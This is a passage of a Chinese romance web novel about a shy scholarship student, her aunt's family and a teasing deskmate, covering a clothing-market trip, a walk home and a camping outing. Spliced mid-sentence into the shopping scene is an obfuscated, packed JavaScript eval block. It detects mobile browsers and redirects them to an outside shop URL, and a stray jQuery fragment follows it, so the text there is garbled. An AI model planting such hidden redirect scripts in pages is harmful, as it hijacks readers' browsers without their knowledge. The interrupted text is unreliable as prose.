“他?他会乐器?什么乐器?KTV的手摇铃?”李潇潇对杭霆的一切都是瞧不上,不喜欢。 林诗雨被她牵着鼻子走,只得换人,“听说刘思远学过小提琴,我一会儿问问她。” “对,没事让大家都拿出特长来,支持一下集体活动,没特长的就练练歌,别到时候个个五音不全的。还有,服装和鞋也得统一吧,穿校服太普通了,一班穿什么?” “江月没说。”林诗雨摇头,没打听出来。 “不就个衣服么,还神神秘秘遮遮掩掩的。”李潇潇不满,“咱们也定制服装吧。” 你偷偷去打探还怪人家不告诉你。丁琰越来越烦。 “定制衣服得花班费,要跟李老师和班长商量的,他们不一定答应。” “那算了算了,鞋总要统一吧,全班白鞋,怎么样?”李潇潇视线慢悠悠地落在桌子下面,然后跟丁琰说,“你这个鞋肯定不行的。” 这句话语气很微妙,只有李潇潇才能精准把握那种感觉。 丁琰能感受到李潇潇对她态度的变化。 摸底考成绩出来前,李潇潇张口闭口都是补习班和一班二班的风云人物,成绩出来后,她的话题开始转移到别的地方,总是不经意释放一些微妙的恶意。 这时候,杭霆正好一头汗从外面回来,把校服外套甩在桌子上,拉链打到了李潇潇的肩膀。 也不知道是不是故意的。 李潇潇不满地“啧”了一声,把身体跟杭霆的桌子拉开距离。 丁琰拿起笔,在刚才那道题的括号里填了B:“这个最后是老师和班干部定,我听他们的。” 旁边的杭霆好像笑了一声。 李潇潇眼里闪过不可思议,她没想到丁琰居然硬气起来了,更没想到杭霆一脸叫好的表情。 - 丁琰保持着僵硬的看书姿势,她不想理杭霆,或者说,她不想先服软。 杭霆倒是一切照旧,逃课,打球,好像昨天的事根本没发生过,也好像全校的通报表扬根本没对他起到激励作用。 好人总是比混蛋拥有更多心理负担。 杭霆似乎是看出了丁琰的心思,饶有兴致地观察了她一会儿。 看什么看。 看了会儿热闹,杭霆开口了:“好学生连一道选择题都做不出来?” 她又卡在另一道题上很久了,笔尖在空白处点出了一团黑。 丁琰愤怒地看向他。 杭霆不逗她了,换了个略微认真的语气问:“是你跟李老师说不换座位的?” 一阵沉默后,她用余光感受到他还在看她,只得没表情地回了句:“你怎么知道?” “我在班里有朋友。” 哦,是她没朋友。 他嘴毒,但她这次没生气。 “你不就是想问不怕你影响我吗?你高看你自己了。”她用“好学生”的语气回了一句。 她觉得自己扳回一城。 杭霆笑了。 他见过很多女孩,喜欢他的,讨厌他的,就是没见过她这号的。 做什么都认真得不行,聊个天而已,她非得聊出面试的氛围。 假正经。他在心里说。虽然这么想,又不觉得她这样很讨厌。 “你要是不想跟王雨浓一起吃饭,以后就不叫他。” 丁琰没说话。 “给钱就不必了。” 过了会,他又补了句,“给钱也应该王雨浓给,他吃得最多。” 谁以后还跟你们吃饭?她再也不去了。 不知道这算不算他的解释和道歉,但她的气确实已经消了。 丁琰就这么一直绷着表情,直到物理老师没收了杭霆的手机。 正上着课,他的手机消息提示音响了,老师原本没想管,哪成想有人要故意害他一样,连发四五条,就连老师也没法装作视而不见了。 她觉得他们这种人,也许明天就买个新的。 “想笑就笑吧。”杭霆斜了丁琰一眼。 她紧绷着嘴唇,才不想让他称心如意。 - 班里发了假期安全守则的表格,只要假期出本市,都要拿回去给家长签字,不离开本地的就不用了。 丁琰拿到表格就塞进了抽屉。 她从余光里看到杭霆侧目了,但是他没说什么。 她原本想回家的,可假期反而是丁怀新最忙的时候,他说如果没什么特别的事,就留在安城,安城好多名胜古迹,可以跟同学去逛逛。 名胜古迹又不是免费的,而且她也没有可以一起逛街的同学。安城这么大个旅游城市,假期人流量超乎想象,她也不想被挤成人干。 丁莉听说丁琰假期不回家,倒没有什么惊讶,好像早就猜到了一样。 丁琰心里做好了计划,她打算每天去市图书馆打发时间,可以看看书,写写作业。市图书馆距离这里不远,全天免费热水供应。 如果她自己有个家就好了。谁也管不了她假期干什么,她想躺着就躺着。 丁莉一家也没有出游计划,就打算放假第一天在附近逛逛。 听说假期姑父回来。丁琰从开学到现在就见过姑父赵洪量一面,他在郊区的工厂工作,每两周回来一次,忙的时候一个月可能才回来一次。 丁莉爱赶时髦,说是最近流行露营,想去凑凑热闹。 丁莉没叫丁琰一起去,而是默认她一起。毕竟是亲侄女,又在同个屋檐下生活了一段时间,她再不满意,最多也就嘴上说几句,生活上倒没真的苛待过丁琰。 丁莉盯着她身上的衣服皱眉头:“你这都什么衣服啊,现在哪有小姑娘这么穿的。” 假期前最后一个周末,丁莉带着丁琰去买衣服。 丁莉以前在彩虹商场站过柜台,对那儿很熟悉,在小区门口坐11路公交车,七站就能到。 彩虹商场有七层,一二三层是柜台,再往上就是档口。 丁莉到这儿就像回了家,丁琰刚进去就晕头转向的,她熟门熟路带丁琰上了四楼。 这层档口挨着档口,里面基本都是搞服装批发的,到处都是拖着大黑塑料袋走的人,刚走了一会儿丁琰就觉得缺氧。 这里每家店里都挂了各种带着夸张logo的衣服,店主都不怎么理人,衣服也不能试,只能对着镜子比划。 丁琰看到很多件耐克,阿迪,有的品牌都没拼对。她还看到了江月衣服上的那只小熊,不用想,都是假的,从头到脚买一身,价格还没有他们吃的那顿麦当劳贵。 来安城上学之前,丁琰只知道几个国产品牌,鸿星尔克特步,森马以纯美邦,这些县城的商贸街都有,款式更新没那么快,基本全年无休地打折。 来了才发现根本没人穿那些。 虽然在学校都穿校服,但还是能从书包、鞋和里面打底的衣服看出家境。基本人人衣服上都带个对钩,要么就是三道杠。那些衣服款式看起来也没什么特别的,简简单单,可穿上就是清爽干净,看着就是精神。 而她的T恤,这件带个泡泡袖的垫肩,那件胸前一大片亮片,要么就是一堆拼写有误的奇怪英文句子。一堆时髦元素叠加在一件衣服上,不伦不类。 十五六岁的学生审美和思想都挺表面的,本来丁琰没在意这些, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852684|191264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但时间久了,总能从同学的眼神中读出一些说不清道不明的意思。 丁莉在这层有不少熟人,有些衣服能破例给她试。 有店主推荐了些夸张的衣服,带窟窿眼的毛衣、露个肩头的韩式卫衣,都被丁莉pass了,她略带愁容,语气轻飘飘的:“孩子在一中上学呢,学校哪允许穿这些啊。” 丁琰原本以为丁莉眼光会挺俗的,没想到给丁琰看了件格子的衬衫连衣裙,上身意外地有点好看,适合秋天,还衬得她皮肤白。 就是领口绣了个歪歪扭扭的小熊,跟那些对钩和三道杠一样,假得很明显。 丁琰没要,只挑了一薄一厚两件长袖套头衫,白色和烟灰色,上面既没字母也没图案。 给丁琰买完衣服,丁莉带她在商城里上上下下,逛了一圈又一圈,给自己和赵晓霖又置办了些行头,买完还想去顶楼看看四件套。 丁琰拎着一堆购物袋跟在后面,感觉腿都被遛细了一圈。 “这就走不动啦?”丁莉抿嘴看着丁琰,“身体素质就这样还天天趴桌子前不动呢,行了行了,你在这儿等我,我一会儿就下来。” 扶梯口有一排长椅,丁琰就地坐下。 坐下还没五分钟,她就听到身后扶梯上有熟悉的声音在说话。 “在几楼啊?”一个男声问。 “马上就到了,别催。”回答的是女声。 她记性很好,立刻就听出这是王雨浓和江月的声音。 江月的声音清脆,字正腔圆的,像播音员,王雨浓说话则是翁翁的,辨识度很强。 不是吧,在这儿都能碰见他们? “大小姐,这地儿的衣服能穿吗,你不怕有毒啊?”王雨浓捂着鼻子说。 “怎么就不能穿了,这么多人你看不到吗?让你搬个东西怎么话这么多。” “嫌我话多怎么不叫你们班男生?比赛要输给你们不说,还得给你们班当苦力。”王雨浓不服气。 江月一点儿也不示弱:“不想输给我们,你们也去定服装、好好排练啊,攻击我算什么?” 丁琰心突突跳得很快,她微微偏头,看到两个熟悉的身影,后面还跟了个大高个。 那大高个不是杭霆是谁?他一直没出声,她一开始还以为只有两个人。或者说,她宁愿只有两个人。 她看了眼自己手里大大小小的购物袋,有点绝望,又四下看了看,想找个逃生路线,不跟他们打照面。 可手上叮铃哐啷拎了一大堆东西,站起来似乎更显眼。 她左顾右盼,浪费了不少时间,错过了逃跑的最佳时间点。 还好,他们三个完全没看到她,朝相反的方向走去。 三个人拐过弯,消失在视线里,她刚长出一口气,就听到头顶传来一声洪亮的“丁琰”。 激出她一身鸡皮疙瘩。 丁琰抬头,丁莉拎着个购物袋,正乘着电梯下来。 购物袋里躺着那件衬衫连衣裙。 “我还是给你买了,出去玩还是穿得漂漂亮亮的。” 她一时不知道该哭还是该笑。 - 杭霆和王雨浓帮江月搬完合唱比赛的定制衣服,在街边拦了辆出租车。 他们把衣服塞进出租车后备箱,正准备往车里钻,王雨浓忽然朝前面扬扬下巴:“我没看错吧?那不是你同桌么。” 杭霆猛地抬头。 他们前面就是公交站,丁琰手里拎了几个购物袋,正跟着人群往11路公交车上挪动。 江月坐副驾,转过来问他们俩:“那是你同桌?” 还没等杭霆回答,王雨浓已经把丁琰介绍了一遍,康县状元,年级十四,重点班著名狠人,上晚自习上到天荒地老。 他们都不知道,丁琰现在已经按时下晚自习回家了。 “噢,那我知道,我们老师上课提到过,原来就是她啊,挺厉害的。”江月点点头。 “是挺厉害的,纯天然有机土妹,你说她十一是不是要连学七天?”王雨浓语气夸张地说。 “人家考年级前二十,你考几分?”江月呛他。 江月从小就跟个小大人一样,训起人来一套一套的。 “我成绩什么样你第一天知道吗?别光训我啊,杭霆最近也总闯祸,他手机上课被收了。” 杭霆两手一摊,耸肩道,“那会儿正好是你给我发消息,让我们来当苦力。” “大小姐,没想到啊,你上课也玩手机!”王雨浓怪叫。 江月被抓到小辫子,涨红了脸解释,“谁叫历史老师上课像催眠,实在太无聊,根本没几个人听得进去他讲课吧。” 杭霆耸肩:“我同桌可以。” 她什么课都听得进去。 王雨浓又开始怪声怪叫了:“你同桌好,你同桌厉害,你同桌天下第一……” 7.07 长假前一天没有晚自习,大扫除过后就放学了。 杭霆打完球回教室取书包,发现班里已经没人了,只剩丁琰一个正在讲台上擦黑板。 “大扫除轮到你了么,就这么勤快?” 丁琰转过身,发现教室里空无一人,杭霆肆无忌惮地坐在最后一排桌子上,就那么盯着她。 他的校服随意搭在她的位置上,脚正正好踩着李潇潇的椅背,两条大长腿晃啊晃。 余晖温柔地洒在少年毛毛躁躁的头发上,混着汗水闪着金色的光。 看见他,丁琰心头忽然没由来地一阵委屈,什么都想跟他说。 大扫除是没轮到她,可林诗雨说自己要赶飞机,要跟她换。 “你是不是蠢,她让你换你就换?”杭霆无语道。 给不了一点安慰。 丁琰没说话,心想这张破嘴会不会说,不会说就闭上。 她心里也在生闷气,林诗雨来找她时,先问的是她假期出不出去玩,她哪防备得住,就老实说了,谁知道坑在后头。 哼哧哼哧擦到一半,手里忽然空了。 杭霆不知道什么时候走到讲台上来了,从背后拿走了板擦,一声不吭地帮忙擦她够不到的地方。 他个子高,动作幅度大,擦得又快,擦完,他拍了拍手说:“走吧,石头。” “叫谁呢?” 他玩味地盯着她:“你啊,大好人,大善人,一点心眼都没有。” 王雨浓叫她妹妹,他叫她石头。 她怎么觉得这个称呼比妹妹要好听呢? 自己瞎琢磨了会儿,就听见杭霆喊她:“磨蹭啥呢,走不走啊?” 丁琰锁好门,和杭霆一前一后离开教室。 她不是很懂,杭霆为啥还要专门回来拿个书包,他平时就装个篮球,背不背包有区别吗? 路过操场时,还有很多人不回家在打球,杭霆看了一眼,没进去。 “你不打球吗?” “今天打完了。” 路过自行车棚,杭霆又没进去。 “你不骑车吗?” “今天没骑车。” 出了校门,他还在她身边。她狐疑地看向他时,还没开口问,就被他堵回来了:“不想跟我一起走就直说。” 那倒也没有,只是她从来都是独来独往,不大习惯。 晚霞铺满天边,一幅粉橘色的美好画卷,她决定不坐公交,走路回家。 “走吧。” 她很喜欢上学放学的这条路,两边都是枝干很粗的梧桐树,阳光洒下来,一路都是斑驳的光影。 记得她刚来的时候这一路还是郁郁葱葱的,不知什么时候已经一半是金黄色了。 那时候她还没想过故事的结局,甚至不觉得自己是故事的主角。 很多年后,她总是会想到那个不太熟的黄昏,他们一路都没怎么讲话,就那么慢悠悠地晃回了家。 她想抓住的,不过是一个远去的,平常的,同行的日子罢了。 - 晃到小区门口,大老远就看到一群邻居正聚在那儿。 走近一看,才发现小区拆了原来的破门,换上了防尾随的感应门。 新的感应门卡十块钱一把,在门卫大爷这儿登记交钱,当场就能领。 一些住户聚在门口抗议,不想出这个钱。 杭霆越过人群,利索地掏出五十,填了自己家和丁莉家的门牌号,领了门卡。 其他住户还在跟门卫大爷掰扯,大爷不耐烦了,提高嗓音说:“咱们这周围离老火车站近,本来就不太平,那天是我和小杭把那人送到派出所的,你们以为那就是小偷啊?那是个有案底的□□犯!咱们这院子里老人妇女多,丢东西是小事,人出事了后悔都来不及。” “换这个大门还是人家小杭联系社区来换的,费用社区承担,一家就出几十块钱领个钥匙,你们还要跟我讨说法,那干脆让社区来把门拆了,继续大敞着,安全都别保障了!” 刚才高声喊的几个人瞬间噤了声。 杭霆把丁琰拉到旁边,给她手心里放了三个感应门卡,让她留一个用,剩下的带回去。 “干什么?” “我钱多行不行。”又往前走了几步,他像想起什么似的,“给你个东西。” 杭霆从书包里翻出个本子递给她。 她一看,是她的日记本。 物理老师把没收的手机交给了李雯君,杭霆早就打好了主意要在放假前拿回来。 去办公室时,他的手机就在李雯君桌下的纸箱里放着,他去拿的时候看到下面压了个本子,上面竟然写着丁琰的名字,就一并拿回来了。 “从哪儿拿的?”丁琰意外。 “李姐办公室。” “你偷的?” “这本子是被李姐没收的?”杭霆反问她。 好学生的秘密总是让人更好奇。 丁琰不放心地抬头看了他一眼:“你没看吧?” “拿完就赶紧走了,哪有时间看,这上面写什么了?” “没什么,就错题本。” “错题本?她没收这个干嘛?” 丁琰不想告诉他自己在写小说,就胡编乱造了一通,说那天他没在的时候她在语文课上整理数学错题,被李雯君抓到,就收走了。 她编得有鼻子有眼,甚至具体到了哪道指数函数题。 在语文课上写数学,是杭霆无法理解的奇葩行为。 他点点头,“也算是物归原主了。” “李姐……啊不是,李老师发现了怎么办?” “装无辜啊,你不是最没心眼了么,石头。” “你!”她瞪眼。 杭霆没给她回击的机会,闪身进了单元门。 - 假期第一天,晴空万里。 丁莉前一天晚上就准备好了露营用品,,早上又起了个大早,在厨房里叮叮咣咣,又是切水果,又是捏饭团。 赵晓霖有点瞧不上丁莉做的那些玩意,饭团里面就包了胡萝卜和火腿丁,能有什么味,还不如买着吃。 丁莉翻了个白眼说那些奸商就靠长假赚钱,不能给他们赚钱的机会。 丁琰从房间出来,丁莉看她还穿着帽衫,眉头就皱起来了:“不是新买了裙子嘛,穿那件多好。” 丁琰回房间换上衣服,看了半天觉得帆布鞋不太搭,就换了双小皮鞋。 赵晓霖睡眼惺忪地从她身边飘过去,看到她穿这样,眼睛都被吓大了,打了个激灵。 “我天。” 丁琰感谢他没蹦出什么脏话出来。 自从知道了他老师那件事后,她对赵晓霖都没什么脾气了。只要他没指着她鼻子骂,她都当他是空气。 丁莉听到声音看过来,欣慰道:“这才对嘛。” 洗漱完,丁琰对着镜子扒拉了一下半长不短的头发,平时她都用皮筋低低地扎在脑后。 她想起江月饱满的高马尾,漂亮整齐,不管怎么动都不会乱。她也尝试了一下,可全梳上去,长度不够,一大把头发又会自动散落下来,更狼狈。 不管她怎么扎,都没江月那个效果。 如果不扎头发,披肩发更适合这件衣服,但就是不习惯。她不习惯有碎发遮挡视 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“景区是免费的,但我们的营地是按收人头费的。”工作人员微笑着说。 “那也应该写出来啊,人都到这儿了,你现在要收费,信不信我打电话投诉?” “女士,我们是合法经营,除了这片营地,其它都是免费景区,您随意游览,都没问题。”工作人员依然有礼貌。 可除了这片营地,整个景区都没什么遮阴的地儿。 丁莉跟工作人员掰扯半天,想让他们免掉两个未成年的人头费。 工作人员为难,说要跟领导打个电话。 丁琰在车上的时候就不舒服,一路走走停停,胃里一直翻腾,在太阳下站了那么一会儿,感觉更难受了,出了一脑门子的虚汗。 她已经听不进去丁莉的喋喋不休,走到不远处,扶着一棵树,干呕了几下。 缓了口气,她透过铁丝网往营地里看了一眼,里面已经有不少家庭了,特别热闹,有人烤肉,有人涮火锅。 再看一眼营地门口,丁莉依旧在跟工作人员争论,赵晓霖嫌讲价丢人,跑得远远的,姑父赵洪量也在旁边抽烟。 丁琰忽然觉得丁莉不容易,尽管她是个斤斤计较、市侩的中年妇女,可她也确确实实撑起了这个家。 丁莉朝丁琰喊:“丁琰,过来吧!” 那股难受的劲儿又上来了,丁琰朝那边摆了摆手,表示马上就来,赶紧又俯下身子。 大概半分钟后,她的视线里出现了一双白色AJ篮球鞋,还有小麦色的好看脚踝。 那双鞋太过熟悉,熟悉到她以为自己出现了幻觉。 她迟迟不想直起身来,以为这样就可以骗过自己。 过了会儿,那双脚都没有要离开的意思,她抬头,逆着光看到了杭霆的脸。 几乎要贴到她的脸上。 “你还好吧?” 这一定不是真的。 她的同学都去北京上海国外玩,没人会来核桃坪这个地方。 她第一时间想的不是别的,而是后悔没披着头发来,那样多少能遮一遮领口的小熊。 她有点介意那个歪歪扭扭的小熊。 她知道那不是原版,也知道原版一定很贵,要是让同学看见,准会说她土狗学着洋狗叫。 现在就让同学看见了,还是每天抬头不见低头见的杭霆。 丁琰憋红了脸,额头都憋出了汗珠,她一句话也没来得及说,再也控制不住自己的表情和行为,哇地一声吐了出来。